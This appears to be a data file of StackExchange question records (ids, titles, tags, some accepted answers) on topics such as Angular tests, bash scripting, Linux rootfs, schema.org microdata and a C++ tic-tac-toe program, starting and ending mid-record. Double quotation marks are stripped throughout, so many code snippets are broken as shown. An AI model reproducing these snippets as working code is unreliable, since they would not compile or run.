//friendlyId: 'example-title',              image: {                src: 'https://www.fillmurray.com/400/300/',              },              link: {                address: '//example.com',                text: 'example text'              },              text: '<p>This is an example project.</p>',              title: 'Example Title',              tags: ['Example Tag', 'Same']            },             {               //friendlyId: 'lorem-ipsum',              image: {                src: 'http://lorempixel.com/400/300/',              },              link: {                address: '//lipsum.com',                text: 'lorem ipsum'              },              text: '<p>Lorem ipsum dolor sit amet.</p>',              title: 'Lorem Ipsum',              tags: ['Lorem', 'Same']            }          ]        };        mockBackend.connections.subscribe( (connection) => {          let response = new ResponseOptions({body: JSON.stringify(mockResponse)});          connection.mockRespond(new Response(response));        });        projectsService.getProjects().subscribe( (projects) => {          expect(projects.length).toEqual(2);               expect(projects[0].title).toEqual('Example Title');          expect(projects[1].title).toEqual('Lorem Ipsum');          expect(projects[1].friendlyId).toEqual('lorem-ipsum');          expect(projects[1].image).toEqual({src: 'http://lorempixel.com/400/300/'});          expect(projects[1].link).toEqual({address: '//lipsum.com', text: 'lorem ipsum'});          expect(projects[1].text).toEqual('<p>Lorem ipsum dolor sit amet.</p>');          expect(projects[1].tags).toEqual(['Lorem', 'Same']);        });      })    );    describe('getFriendlyId()', () => {      it('should make titles url friendly', () => {        let friendlyId = ProjectsService.getFriendlyId(  HellO  World # !! );        expect(friendlyId).toEqual('hello-world');      });    });  });});// projects-tags.model.tsimport { Input, OnInit } from '@angular/core';import { Project } from './project/project.model';import { StateService } from '../state/state.service';const defaultTags:string[] = ['JavaScript', 'Ruby on Rails'];const storageKey:string = 'tags';export class ProjectTags {  tags: string[] = [];  activeTags: string[] = [];  activeProjects: Project[] = [];  @Input() highlightTag: string;  constructor() {     this.activeTags = JSON.parse(StateService.get(storageKey));    if (!this.activeTags || !this.activeTags.length) {      this.activeTags = defaultTags;     }  }  isActive(tag:string):boolean {    return this.activeTags.indexOf(tag) != -1;  }  populateTags(projects:Project[]):void {    this.activeProjects = [];    for (let project of projects) {      project.active = false;      for (let tag of project.tags) {        if (this.tags.indexOf(tag) == -1) {          this.tags.push(tag);        }        if (!project.active && this.activeTags.indexOf(tag) != -1) {          project.active = true;        }      }      if (project.active) {        this.activeProjects.push(project);      }    }    this.tags = this.tags.sort();    StateService.set(storageKey, JSON.stringify(this.activeTags));  }  toggleTag(tag:string, projects:Project[]):void {    let index = this.activeTags.indexOf(tag);    if (index == -1) {      this.highlightTag = tag;      this.activeTags.push(tag);    } else {      this.highlightTag = null;      this.activeTags.splice(index, 1);    }    this.populateTags(projects);  }  activeProjectTags(project:Project):string {    let tags:string[] = [];    for (let tag of project.tags) {      if (this.isActive(tag)) {        if (tag == this.highlightTag) {          tags.push(`<span class='highlight'>${tag}</span>`);        } else {          tags.push(`<span>${tag}</span>`);        }      }    }    return tags.join(', ');  }}"  , "title": "Web developer profile page in Angular 2+"  , "tags": "typescript;angular 2+"  } 
{  "id": "_ai.1731"  , "question": "What regulations are already in place regarding Artificial General Intelligences? What reports or recommendations prepared by official government authorities were already published?So far I know of Sir David King's report done for UK government."  , "title": "AGI official government reports or regulations already in place"  , "tags": "agi;legal"  } 
{  "id": "_softwareengineering.191419"  , "question": "I want to create a configuration file (text file preferred) that can be modified by user. A windows service will read from that file and behave accordingly. Can you recommend a file format for this kind of process? What I have in my is a config file like the game config files, but could not imagine how to read from it.My question is very similar to INI files or Registry or personal files?, but my question is different because I need to consider user editing."  , "title": "Configuration file that can be modified by user in C#"  , "tags": "c#;configuration"  } 
{  "id": "_softwareengineering.336701"  , "question": "Where is the figurative line drawn for using static services in a project? I am a coop student working and learning how to write .net MVC projects. I've been developing trying to stick to TDD. In my project I'm using ninject for dependency injection. I have written an abstract and a class implementing that for making API service calls to our internal API. There is no class library for these APIs yet so I'm writing my own stuff. In this case I'm finding myself wondering why I am using non-static classes for this API service. There is no state information stored for API calls they are IP validated. All the addresses for call locations are stored in the config file. I can't see how using a static class here would make testability harder. You can unit test the static class to see that it works. If you find yourself needing mock data you could simply mock the object the API is supposed to return. If that is impossible because of your method design it is highly likely the method you are testing is trying to do to much. I feel that almost all situations, in this particular case, where the fact the service is static would affect testing would arise when trying to manipulate the returned objects; which should be abstracted out to an extension or utility method that itself could be tested, so there should be no issue with the static class affecting testing.Is there a good reason to not go static that I am just missing, or something about unit testing and injection that I am just missing? I would like to be able to confidently say using static is a sound idea in this case, but feel am I lacking the knowledge to do so.Another question was linked 'Is static universally evil' that is not my question. I know static isn't universally evil and has its place. My question is where is it prudent to use static and under what circumstances might an abstract service be better written as a static one, while not causing testability issues."  , "title": "Static services and testability"  , "tags": "object oriented;unit testing;dependency injection"  , "accepted_answer": "Static methods are problematic because they prevent dependency injection for users of that static method.First, let me be clear that this is not always an issue. If a function is pure (maintains no state across calls, and does not perform any I/O), then you can just test it directly once, and then use it in other code knowing that it will work. This usually only applies to small utility methods, or when you're doing strict functional programming.If the service provided by that static method is more complex, using dependency injection techniques becomes desirable:If a method maintains state, you do not want to keep that state between different tests  that would be a kind of coupling that could obscure bugs. At the very least, you will want a mechanism to (at least temporarily) reset the state for each test. The easiest way to do that is to create a new instance of the enclosing class, which is not possible with static methods and static classes.If the service interacts with the outside world or performs any I/O (aside from logging), you don't want to do that during an unit test.Let's consider a service to send email notifications. The system under test should send emails under certain conditions. How do you test this? Set up a test email account, and verify that you got the expected message? Yes, but that would be an integration test. For unit tests, we would just want to make sure that the email service was invoked with the correct configuration.If you can intercept the call through some other mechanism than replacing the service through dependency injection, that's probably OK as well.If the service contains substantial business logic that might change frequently, you do not want to have unrelated tests fail because of changes to that logic. In the scope of a test, replacing unrelated business logic with stubs will make your tests more robust  assuming it is of course tested elsewhere.Static classes do have their uses, but they should not be your default choice. Only when it's clearly not desirable to have an instance of that class should you make it static, which pretty much only happens when it's less of a class and more of a namespace for static methods."  } 
{  "id": "_unix.295060"  , "question": "I've seen on various Linux systems where instead of the real device node (for example: /dev/sda1), the root device appears as /dev/root, or instead of the real filesystem, mtab says it is a filesystem called rootfs (which appears as a real filesystem in /proc/filesystems, but doesn't have code in <linux-kernel-source-tree>/fs). Various utilities have been made to use certain attributes to determine the real root device node (such as rdev, and the Chromium OS rootdev). I can find no logical explanation to this other than reading somewhere that very-small embedded devices don't always have to have a /dev device node for their root device. (Is this true, and if so, is that the answer to my question?) Why does mtab sometimes say /dev/root (and I think I might have seen it say rootdev once) instead of the real device node, and how can I make it always say the real device node? The kernel first mounts the root device following the root parameter in the cmdline, then init/systemd re-mounts it according to the fstab, correct? If so, then I presume init maintains mtab. If my theory is correct, how can I make init write the real root device node to mtab? I noticed that /etc/mtab is actually a symbolic link to /proc/mounts, which would mean mtab is maintained by the kernel. So how do I configure/patch a kernel to, instead of saying the root devices node path is /dev/root, have mtab contain the real device node?"  , "title": "Why on some Linux systems, does the root filesystem appear as /dev/root instead of /dev/in mtab?"  , "tags": "linux;root filesystem"  , "accepted_answer": "This is generally an artifact of using an initramfs.From the kernel documentation (https://www.kernel.org/doc/Documentation/filesystems/ramfs-rootfs-initramfs.txt)What is rootfs?Rootfs is a special instance of ramfs (or tmpfs, if that's enabled),  which is always present in 2.6 systems.  You can't unmount rootfs for  approximately the same reason you can't kill the init process; rather  than having special code to check for and handle an empty list, it's  smaller and simpler for the kernel to just make sure certain lists  can't become empty.Most systems just mount another filesystem over rootfs and ignore it.   The amount of space an empty instance of ramfs takes up is tiny.Thus rootfs is the root filesystem that was created for the initramfs, and can't be unmounted.In regards to /dev/root, I'm less certain on this, but if I recall correctly /dev/root is created when using an initrd (not the same as an initramfs)."  } 
{  "id": "_webmaster.72851"  , "question": "i am italian, i got a D-U-N-S number for my individual company (partita iva for those who know what it is).Now Apple is asking me to enroll as an individual cause the D-U-N-S number is attributed to an individual physic person, why i can't enroll as company since for the italian law i am a company?Also why i must enroll as an individual since my company can accept payments by the law, what i lose as legal entity enrolling for an individual account?Thank you"  , "title": "Apple Developer Program enrolling with a p.iva and the company name"  , "tags": "registration;apple"  } 
{  "id": "_softwareengineering.69768"  , "question": "We have three developers, one system administrator, and an artist that primarily work on a single website (forum) on our spare time to consistently develop features for the forum (but there are other projects that we work on). Because our system administrator recently joined, we dropped managed hosting for a single server and decided to rent out two unmanaged servers (one for testing and the other for production).In the old server, we simply used Git as a middleman for pushing updates from the non-unified developer team into the server without conflicting updates. Pull other developer updates. Push our own updates. Revert if something breaks.Since we have two servers now, we plan to push updates to the development server and somehow have it push updates to the production server. Developer(s) -> development server (bare) -> production serverWe want to keep the repositories in the development server and the work tree of the web site on the production server (web server). Is there an efficient way to do this without pushing from the dev server to production? Is there a better workflow for two servers in general?P.S. The development team consists of high school teenagers and some college kids that have never developed on teams for for-profit businesses."  , "title": "Workflow on Development and Production Servers for a Consistently Updating Website"  , "tags": "git;collaboration;workflows"  , "accepted_answer": "What is probably easiest to do is:Use Git on the development server and have a version running there corresponding to the current master (a checkout from the repository). Everyone can merge changes into this version and if it breaks, the development server breaks and it's clear that action is required.The production server is a remote checkout from the development server. Whenever the development server is at a stable point (or ready to release a new version), just log into the production server and do a git pull.This is easy because when something does go wrong, you can just revert the production server with a single git revert command.Furthermore, you can automate this by creating a hook on the production server to automatically pull changes based on anything you define. How this works in your specific situation will depend on how your actual release process works. Personally, I would just update it manually (you can even create a simple script so you don't actually have to log into the production server), since it's just one command and you generally want to be there whenever you update a production server :)Also: do remember to secure the production server so your repository files are not served by the web server. This is trivial and your system administrator can configure this."  } 
{  "id": "_unix.88329"  , "question": "I want to monitor a HP 7500 switch power supplies. I have my OID, given by the HP web interface. So I create a snmptt.conf.hp, I create a service, passive and volatile, add this OID to a trap, and linked trap to service, then service to host.I configured snmptt.conf, in order to log as /var/log/snmptt.log, and snmptt_unknown.log. With log_enable = 1, and debugging = 1 ... But nothing happens! No log at all! No smptt*.log or snmptrapd.log ...By looking with tcpdump, I'm sure that traps arrive well. But Nagios.log tell me this:Warning: The results of service 'Service_Trap_PowerSupply_KO' on host 'XX.XX.XX.XX' are stale by 0d 0h 0m 59s (threshold=0d 0h 5m 0s).  I'm forcing an immediate check of the service.Warning: The results of service 'Service_Trap_PowerSupply_OK' on host 'XX.XX.XX.XX' are stale by 0d 0h 0m 59s (threshold=0d 0h 5m 0s).  I'm forcing an immediate check of the service.So name of my services look ok. On trap for KO the other for OK. When we unplug on powersupply, this is recorded in nagios.log."  , "title": "Nagios trap snmptt fails to trigger"  , "tags": "nagios;snmp"  } 
{  "id": "_unix.186631"  , "question": "The question is, if there is a way to simplify the structure of the xkb configuration related to keyboard layouts?As explained in further detail below there are 5 independent places in which a reference to a keyboard-layout-variant is stored (evdev.xml, evdev.lst, base.xml, base.lst, and inside the respective layout description files in /usr/share/X11/symbols/). It would be much simpler if there was only as many as needed (it is not helpful to store the same information in .lst and .xml as all additions or deletions of keyboard layouts need ot be done several times at 5 places)Of course it also makes the whole configuration less clear to users (as it is confusing to have to set the very same configuration in a needless redundant fashion at several places). Maybe there is a way this can be simplified? If there was this would be the desired answer to this question. Given that there are many different distributions I would hope that not all have this xkb configuration setup. This is how the xkb configuration looks on my GNU/Linux (Ubuntu 12.04LTS) box. In order to add a new keyboard layouts to be used in my  a respectable large number of many files must modified. /usr/share/X11/xkb/rules/evdev/usr/share/X11/xkb/rules/evdev.xml /usr/share/X11/xkb/rules/evdev.lst/usr/share/X11/xkb/rules/base /usr/share/X11/xkb/rules/base.xml/usr/share/X11/xkb/rules/base.lstIt seems to me that essentially base version of the files are copies of the evdev files it would be interesting to know if they could be made symbolic links like those files/usr/share/X11/xkb/rules/xorg/usr/share/X11/xkb/rules/xorg.lst/usr/share/X11/xkb/rules/xorg.xmlPerforming this little tests:1. user@box:/$ cat /usr/share/X11/xkb/rules/evdev.lst | grep Greek gr              Greek simple          gr: Greek (simple) extended        gr: Greek (extended) nodeadkeys      gr: Greek (eliminate dead keys) polytonic       gr: Greek (polytonic)2. user@box:/$ cat /usr/share/X11/xkb/rules/evdev.xml | grep Greek       <description>Greek</description>           <description>Greek (simple)</description>            <description>Greek (extended)</description>             <description>Greek (eliminate dead keys)</description>             <description>Greek (polytonic)</description> ofencito@freak:/usr/share/X11/xkb/rules$ shows that both files contain virtually the very same data (which makes the same iformation being stored in 4 separate locations - even disregarding the symbolic links mentioned earlier).Eventually the keyboard layouts are then themselves stored in a filesystem structure at /usr/share/X11/xkb/symbols, which agains stored references tothe language layout and variant in files named in accordantly. To keep our greek example there is a file /usr/share/X11/xkb/symbols/gr. Looking at this yields:user@box:/$ cat /usr/share/X11/xkb/symbols/gr | grep xkb_symbolsxkb_symbols basic {    name[Group1] = Greek;xkb_symbols simple {    name[Group1] = Greek (simple);xkb_symbols bare {xkb_symbols extended {    name[Group1] = Greek (extended);xkb_symbols polytonic {    name[Group1] = Greek (polytonic);xkb_symbols nodeadkeys {    name[Group1] = Greek (eliminate dead keys);At this point the very same information has been reduntantly stored in 5 locations. Is there a way to simplify this mess? Since I am most familiar only with Ubuntu I wonder of course if other distributions might have found less confusion ways to deal with the keyboard layout?"  , "title": "How can the xkb layout settings be simplified?"  , "tags": "configuration;keyboard;xkb"  } 
{  "id": "_softwareengineering.175399"  , "question": "Hey guys I am really new to the C++ programing I have a little knowledge in C and a bit more in C++, but I do not know them enough to call myself a programmer. I am working as a PHP Web Developer I like being a crafts man and creating things so that is the reason to combine the programming with web development. I think that I could really benefit from both of them and so... My question is:Is it a good Idea to learn C++ with Qt or not?Can you give me pros and cons of both?Note: I do not want to become a programmer and give up the web development I want to combine them both."  , "title": "Programming C++ using Qt4"  , "tags": "c++;programming practices;qt"  , "accepted_answer": "For learning C++, Qt has some good things and some bad things.The good:It provides the building blocks for everything you might want to do with C++, from network programming and threads to OpenGL and displaying web content.It has a few tricks up it sleeves to make things a little easier. For example, it uses the parent hierarchy to handle object deletion makes memory leaks much less common. It also uses signals and slots to provide a somewhat sensible way to write event-driven programs.The bad things are mostly corollaries of the good things:Because it has everything wrapped up into a nice, cohesive whole, you are de facto encouraged to only use its things. For instance, you'll be using QString and QList instead of std::string and std::list, because that's what you'll get from Qt classes and that's what Qt classes expect you to provide.When you eventually write non-Qt code with C++, you'll be missing some of the safety nets. You will really have to be responsible with your memory deallocation, and you'll have to learn the other patterns for doing event-driven code in C++.Without Qt, you'll have to find some external or system library (e.g., outside the C++ standard) for: threads, network programming, GUI programming, graphics rendering (to the screen or to image files), XML parsing, rendering web content, etc. Qt includes classes for all of those things. But if you want to eventually become a generic C++ programmer, you'll need to learn how to program without it."  } 
{  "id": "_unix.194017"  , "question": "I am new to unix shellI am learning array by following codesource_array_list[0]=asource_array_list[1]=asource_array_list[2]=asource_array_list[3]=asource_array_list[4]=asource_array_list[5]=asource_array_list[6]=asource_array_list[7]=aa=0while [$a -le 6]do    echo just before loop    target_array[a]=source_array_list[$a]    echo ${source_array_list[$a]}    a=`expr $a + 1`doneNow this is not working and giving the error [0:  not found.Please guide me to solve it."  , "title": "Unix Shell : Array assignment not working"  , "tags": "bash;shell script;ksh"  , "accepted_answer": "you need a space after '[' because '[' is a command see here https://stackoverflow.com/questions/9581064/why-should-be-there-a-space-after-and-before-in-the-bash-scriptYou also need ${} around the array variable reference, so you should have:source_array_list[0]=asource_array_list[1]=bsource_array_list[2]=csource_array_list[3]=dsource_array_list[4]=esource_array_list[5]=fsource_array_list[6]=gsource_array_list[7]=hwhile [ $a -le 6 ]do  target_array[a]=${source_array_list[$a]}  echo ${source_array_list[$a]}  a=`expr $a + 1`doneyou could also simplify this a bit by doing the following source_array_list=( 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h')target_array=()for element in ${source_array_list[@]}do  target_array+=(${element})  echo ${element}doneecho ${target_array[@]}"  } 
{  "id": "_cogsci.3571"  , "question": "I've heard that our eyes accommodate between colors too far from each other in the visible spectrum. I imagine it's not a true focal point accommodation, but rather linked with how brain processes the information. Is this true?What I'm trying to find out is, whether using color for emphasis, for example both blue and yellow (which are fairly far from each other in the spectrum), for text underlining, doesn't make the brain focus only at one color at once. Like when you're looking for some object on your messy table, thinking it's of blue color and not noticing it's right in front of your eyes, because it was red.Another example would be a document with some emphasized words in blue, some in yellow - and let's say the author wanted to make sure both colors are regarded as important (just in different context). Now question is, can the eye/brain focus on both colors at once? I don't mean if we can do it deliberately by trying hard, but rather if it's more likely for the brain to focus only at one color at a time, unconsciously.By what I've heard, if I understand it correctly. If we want to use two different colors for emphasis, we should use colors that are close to each other in the EM spectrum (while still making sure, they are high contrast in regard to the background)Refer to the two paragraphs taken from wikipedia I stylized.I'd summarize the question like this. Is there difference in how we regard those two paragraphs? Are we more likely to skip some words when they are highlighted with colors too far away from each other in the EM spectrum, therefore, is it better to use colors closer to each other?EDIT: I changed the luminance of the colors to be the same for all of them (70%, used HSL Color Picker). As pointed by John, the different luminance might have played a part in the perception.View of the relative EM wavelength spread (images taken from Gimp)"  , "title": "Do eyes accommodate to color?"  , "tags": "perception;vision;color"  , "accepted_answer": "I don't think it is a matter of color/hue. Do you have a source for this hypothesis? If you were able to measure this effect then I would think it happens because of the importance rating a reader develops for a certain group of highlighted words, e.g. all blue highlighted words are important to me.The user Pete made a good comment in my opinion by pointing out the contrast issue. The attention of humans is foremost guided by luminance contrast. Then comes hue and then saturation. The colors you chose have a different luminance value and therefore attract attention differently.Here's a link to compare the (relative) luminance values of your color sets."  } 
{  "id": "_webmaster.98616"  , "question": "How to embed items of a different data type? Schema.org explains it here: https://schema.org/docs/gs.htmlI use Googles markup helper (www.google.com/webmasters/markup-helper/) that creates automatically the code. I have this code simplified and I choose data type Article:<div class=post><img src=1.png><h1>Title of the post</h1>  <div>           <p>This is the body of the post</p></div>  <p>Author of the post</p></div><!-- end schema Article -->Google gives me this:<div itemscope itemtype=http://schema.org/Article><img itemprop=image src=1.png><h1 itemprop=headline name >Title of the post</h1><div itemprop=articleBody >           <p>This is the body of the post</p></div><span itemprop=author itemscope itemtype=http://schema.org/Person><p itemprop=name>Author of the post</p></span></div><!-- end schema Article -->I am confused on the last span. I understand that author belongs to the data type Person and not Article. But why it introduces the itemprop=name here? It seems redundant. For me, one of those options makes more sense:<p itemprop=author itemscope itemtype=http://schema.org/Person>Author of the post</p>Or perhaps:<span itemscope itemtype=http://schema.org/Person><p itemprop=author>Author of the post</p></span>Why Googles markup helper gives itemprop=name, is it an error?Are my solutions ok? Can anyone explain in a simple way how to embed a different data type in Schema.org?(Where I write Author of the post I mean any name, John Doe, for instance)UPDATE:Now I realize that Schema Article (Blog and BlogPosting too) do have the property Autor. In fact https://schema.org/Article  Example 1 (bottom of the page) gives this:<div itemscope itemtype=http://schema.org/Article>  <span itemprop=name>How to Tie a Reef Knot</span>  by <span itemprop=author>John Doe</span></div>So, I suppose that there is no need to embed author from Person. Googles markup helper must have a software problem. Am I right?"  , "title": "How to embed a Schema.org data type?"  , "tags": "html5;schema.org;microdata"  , "accepted_answer": "The HTML is not correct, because a span cant have a p as child. It should probably be a div, i.e.:<div itemscope itemtype=http://schema.org/Article>  <div itemprop=author itemscope itemtype=http://schema.org/Person>    <p itemprop=name>Author of the post</p>  </div></div>The problem you seem to have is likely the same one from your comment to my answer to your other question. How Microdata worksI think you have to understand how Microdata works:The itemscope attribute creates an item. (Here is something.)The itemtype attribute specifies the type of that item. (This something is a Person.)The itemprop attribute specifies the property this item has. (This something, which is a Person, has the name Alice.)The temprop always belongs to the nearest itemscope parent! So in your example, the author property does not belong to the Person item, it belongs to the Article item.It says: Here is an Article. This Article has an author, which is a Person. This Person has a name.Your first suggestion<p itemprop=author itemscope itemtype=http://schema.org/Person>Author of the post</p>You provide the author property, and you say that the author is a Person (good), but then you dont provide any property about that Person. How should a consumer know that the element content (Author of the post) is the name of that person, and not the persons address/birthday/description/etc.? (Schema.orgs Person type can have many properties.)Microdata ignores any content that is not an itemprop value. The value of the author property in your suggestion is the Person item, not the string Author of the post. A Microdata parser will never see that string (unless you put it as value to an itemprop).Your second suggestion<span itemscope itemtype=http://schema.org/Person><p itemprop=author>Author of the post</p></span>This means: There is a Person which is authored by Author of the post. But the Person has no author, of course. (And Schema.org doesnt define an author property for Person.)Another problem: For consumers its not clear that this Person represents the author of the Article. You have to use an itemprop attribute to add it to the Article.A possible alternative (not recommended)Instead of <div itemprop=author itemscope itemtype=http://schema.org/Person>  <p itemprop=name>Author of the post</p></div>you could use<div itemprop=author>Author of the post</div>but its not recommended/expected (by Schema.org).The key difference here is that this author property has text (instead of another item!) as value. The obvious problem of using a text value: You cant provide more information (in the form of properties) about this author (e.g., the authors website URL, etc.).Why its not recommended? Because Schema.orgs author property is defined to get an Organization or a Person value."  } 
{  "id": "_softwareengineering.219758"  , "question": "I have a client server application. Assume I work as a Support executive, resolving customer tickets. We(our support team) have got two tickets to work on.  Ticket 1: Client Liver raised a ticket to update his phone number.Ticket 2: Same Client Liver raised a second ticket to update his email ID.I am working on ticket 1:Opened application, clicked edit Customer Info buttton, entered new phone number. I did not save the form(Edit form). In between, I left for CUPPA.My colleague is looking at ticket 2: He has edited the Customer information and updated with new email id:  Its persisted in database.When, I come back and save my ticket with phone number update, it would overwrite his changes i.e.., his email ID change is lost or not updated for that Customer Liver. Is there a way that when a get back to my work/page after CUPPA break, can I see the email ID with updated value?How to prevent this? What is the approach? Possible design ideas? How to ensure that there is no data loss?"  , "title": "How to update User interface form through database update"  , "tags": "java;design;web applications;mvc"  } 
{  "id": "_codereview.156496"  , "question": "I am new to bash scripting. Could you please give a review of this code that copies recently modified files from one directory to another in bash? The main commands are in my bash_aliases file. Main code#!/bin/bash# Aliases filecpRecent(){    . ./helperlib.sh    __processoptions $@    if (( $? == 0 ));then        __getrecentfiles        __processlines        local numOfCopiedFiles=0        for line in ${!filelist[@]}; do            cp $line ${filelist[$line]}            (( ++numOfCopiedFiles ))        done        echo You have copied $numOfCopiedFiles file(s)        unset files        unset filelist    fi    return}mvRecent(){    . ./helperlib.sh    __processoptions $@    if (( $? == 0 )); then        __getrecentfiles        __processlines        local numOfMovedFiles=0        for line in ${!filelist[@]}; do            mv $line ${filelist[$line]}            (( ++numOfMovedFiles ))        done        echo You have copied $numOfMovedFiles files        unset files        unset filelist    fi      return}The helperlib.sh#!/bin/bash# File: helperlib.sh # Brief: Library for cpRecent, mvRecent commands# Error codesno_args=You need to pass in an argumentinvalid_option=Invaild option:no_directory=No directory found# Return values fullpath=directories=numfiles=interactive=typeset -a filestypeset -A filelist# Advise that you use relative paths__returnfullpath(){    local npath    if [[ -d $1 ]]; then        cd $(dirname $1)        npath=$PWD/$(basename $1)        npath=$npath/         #Add a slash        npath=${npath%.*}     #Delete .     fi    fullpath=${npath:=}}__usage(){cat <<End-Of-Message_______________________________________________________________________________Copies/Moves the n most recent file(s) in a directory to another directory wheren is user specified. <cpRecent/mvRecent> [-d D1,D2] [-n NUM] [-ih]    -d D1,D2  The directory that is copied/moved from is D1 while              the directory that is copied/moved to is D2             The directories would need to be in relative paths    -n      This specifies an integer num of files     -i      This allows the user to edit the name of the file            to be copied or moved       -h      Shows this entire wall of text      An example of how to use the command:    cpRecent -d Documents,. -n 3    (This means that copy the three(3) most recent files in Documents to     the folder I am currently in)_______________________________________________________________________________End-Of-Message}__processoptions(){    OPTIND=1    while getopts :d:n:ih opt; do        case $opt in             d ) IFS=',' read -r -a directories <<< $OPTARG;;             n ) numfiles=$OPTARG;;            i ) interactive=1;;            h ) __usage; return 1;;            \\? ) echo $invalid_option -$OPTARG >&2 ; return 1;;            : ) echo $no_args; __usage >&2 ; return 1;;            * ) __usage >&2; return 1;;        esac    done        shift $((OPTIND-1))    # Check for errors      (( ${#directories[@]} != 2 )) && echo $invalid_option Number of directories must be 2 && return 2    __returnfullpath ${directories[0]}    directories[0]=$fullpath    __returnfullpath ${directories[1]}    directories[1]=$fullpath      if [[ -z ${directories[0]} || -z ${directories[1]} ]]; then        echo $no_directory         return 3    fi    [[ numfiles != *[!0-9]* ]] && echo $invalid_option Number of files cannot be a string && return 4    (( $numfiles == 0 )) && echo $invalid_option Number of files cannot be zero && return 4    return 0    }__getrecentfiles(){    local num=-$numfiles    # Get the requested files in directory(skips directories)    if [[ -n $(ls -t ${directories[0]} | head $num) ]]; then        # For some reason using local -a or declare -a does not seem to split the string into two        local tempfiles=($(ls -t ${directories[0]} | head $num))        for index in ${!tempfiles[@]}; do            echo $index ${tempfiles[index]}            [[ -f ${directories[0]}${tempfiles[index]} ]] && files+=(${tempfiles[index]})         done    fi}__processlines(){    local name    local answer    if [[ -n $interactive ]]; then        for index in ${!files[@]}; do            name=${files[index]}            read -n 1 -p Old name: $name. Do you wish to change the name(y/n)? answer            # Need to leave a space in between the variables             [[ $answer == y ]] && read -p Enter new name: name            local dirFrom=${directories[0]}${files[index]}            local dirTo=${directories[1]}$name            filelist+=([$dirFrom]=$dirTo)        done    else                                            for index in ${!files[@]}; do            local dirFrom=${directories[0]}${files[index]}            local dirTo=${directories[1]}${files[index]}            filelist+=([$dirFrom]=$dirTo)        done        fi}"  , "title": "Copy recently modified files from one directory to another"  , "tags": "beginner;bash"  } 
{  "id": "_codereview.126292"  , "question": "I have finally found some time to redo the last tic tac toe game I posted. I have gotten rid of Magic Numbers as well as any typos(if their are any please point them out but I think i rid myself of them...hopefully). I have updated the way the code is implemented as well as added a header titled Constants. This choice was to get rid of my magic number issues and if it is was a poor idea please correct me on it and show me the proper way to create cross file constants. (I tried to use constants as differing types of error codes. Is this a good idea?) One more thing, should I implement the input type checking in my Data class or leave it where it is to match MVC design pattern. (If my design does not implement this pattern please tell me how I should do it.)Constants.h#ifndef CONSTANTS#define CONSTANTSenum boardSpaces : size_t {    space1 = 0, space2 = 1, space3 = 2, //used to access board spaces in container    space4 = 3, space5 = 4, space6 = 5,    space7 = 6, space8 = 7, space9 = 8}; const int errRecognize = 0; //error unrecognizable input i.e. number or char out of rangeconst int errType = 1; //error data type of user input faildconst int errBoard = 2; //error space of board has been marked#endifData.h#ifndef DATA#define DATA#include <string>class Data{    std::string boardData;    const char player1;    const char player2;public:    const int MAX_TURNS = 9;    const int board_dim = 3; //dimensions 3X3    Data();    ~Data() = default;    std::string printBoard() const;    void markBoard(const size_t&,const char&);    void gameReset();    bool checkWin(const char&) const;    bool checkCatsGame(const int&) const;    char boardSpaceValue(const size_t&) const;    char player1Mark() const;    char player2Mark() const;};#endifData.cpp#include Data.h#include Constants.hData::Data(): player1('X'), player2('O'){    boardData = 123456789;}void Data::markBoard(const size_t &position,const char &playerMark) {    boardData[position-1] = playerMark;}std::string Data::printBoard() const{    return boardData;}//returns value of a praticular space on boardchar Data::boardSpaceValue(const size_t &index) const {    return boardData[index-1];}char Data::player1Mark() const{    return player1;}char Data::player2Mark() const{    return player2;}bool Data::checkWin(const char &mark) const{    //check columns and rows for win    //code came from Edward@ codereview    for (unsigned i = 0; i < board_dim; ++i) {        bool rowwin = true;        bool colwin = true;        for (unsigned j = 0; j < board_dim; ++j) {            rowwin &= boardData[i*board_dim + j] == mark;            colwin &= boardData[j*board_dim + i] == mark;        }        if (colwin || rowwin)            return true;    }    //check for across patterns, one space between each marked space for solution...    if (boardData[space3] == boardData[space5] && boardData[space5] == boardData[space7])        return true;    if (boardData[space1] == boardData[space5] && boardData[space5] == boardData[space9])        return true;    return false;}bool Data::checkCatsGame(const int &turnCnt) const{    if (turnCnt < MAX_TURNS)        return false;    else        return true;}void Data::gameReset() {    boardData = 123456789;}Game.h#ifndef GAME#define GAME#include Data.h#include Screen.hclass Game{    Data board;    Screen view;public:     Game() = default;    ~Game() = default;    void turn(const char&);    void run();    bool getReplayInput();};#endif // !GAMEGame.cpp#include Game.h#include Constants.h#include <iostream>void Game::turn(const char &mark) {    bool inputCheck = false;    size_t posChoice;    while (!inputCheck) {        //checks data type        if (std::cin >> posChoice) {            if (posChoice < 10 && posChoice > 0) {                char spaceCheck = board.boardSpaceValue(posChoice);                //checks if space has been marked                if (spaceCheck != 'X' && spaceCheck != 'O') {                    board.markBoard(posChoice, mark);                    inputCheck = true;                }                else {                    view.errorMsg(errBoard); //Space has already been marked                }            }            else {                view.errorMsg(errRecognize); //Space not within board range            }        }        else {            view.errorMsg(errType); //incorrect data type            std::cin.clear();            std::cin.ignore(std::numeric_limits<std::streamsize>::max(), '\\n');        }    }}bool Game::getReplayInput() {    bool inputCheck = false;    char yesOrNo;    while (!inputCheck) {        if (std::cin >> yesOrNo) {            yesOrNo = toupper(yesOrNo);            if (yesOrNo == 'Y') {                return true;            }            else if (yesOrNo == 'N') {                return false;            }            else {                view.errorMsg(errRecognize);            }        }        else {            view.errorMsg(errType);            std::cin.clear();            std::cin.ignore(std::numeric_limits<std::streamsize>::max(), '\\n');        }    }}void Game::run() {    bool gameWin = false, tie = false, playAgain = false;    int turnCnt = 0;    //setup    view.welcomeMsg();    view.draw(board.printBoard());    //gameplay    while (!gameWin && !tie) {        turnCnt++;        char playerMark = ((turnCnt % 2) ? board.player1Mark() : board.player2Mark());        view.signalUserInput((playerMark == 'X') ? 1 : 2);        turn(playerMark);        gameWin = board.checkWin(playerMark);        tie = board.checkCatsGame(turnCnt);        view.draw(board.printBoard());    }    //signal winner    if (gameWin) {        view.gameWinMsg(turnCnt);    }    //signal tie game    else {        view.gameTieMsg();    }    //check if user wishes to replay    playAgain = getReplayInput();    if (playAgain) {        board.gameReset();        run();    }}Screen.h#ifndef SCREEN#define SCREEN#include <string>class Screen{public:    Screen() = default;    ~Screen() = default;    void errorMsg(const int&) const;    void signalUserInput(const int&) const;    void welcomeMsg() const;    void draw(const std::string &) const;    void gameWinMsg(const size_t&) const;    void gameTieMsg() const;};#endifScreen.cpp#include Screen.h#include Constants.h#include <iostream>void Screen::errorMsg(const int& errNumber) const{    if (errNumber == errRecognize) {        std::cout << Input not recognized, try again:\\n;    }    if (errNumber == errType) {        std::cout << Incorrect data type, try again:\\n;   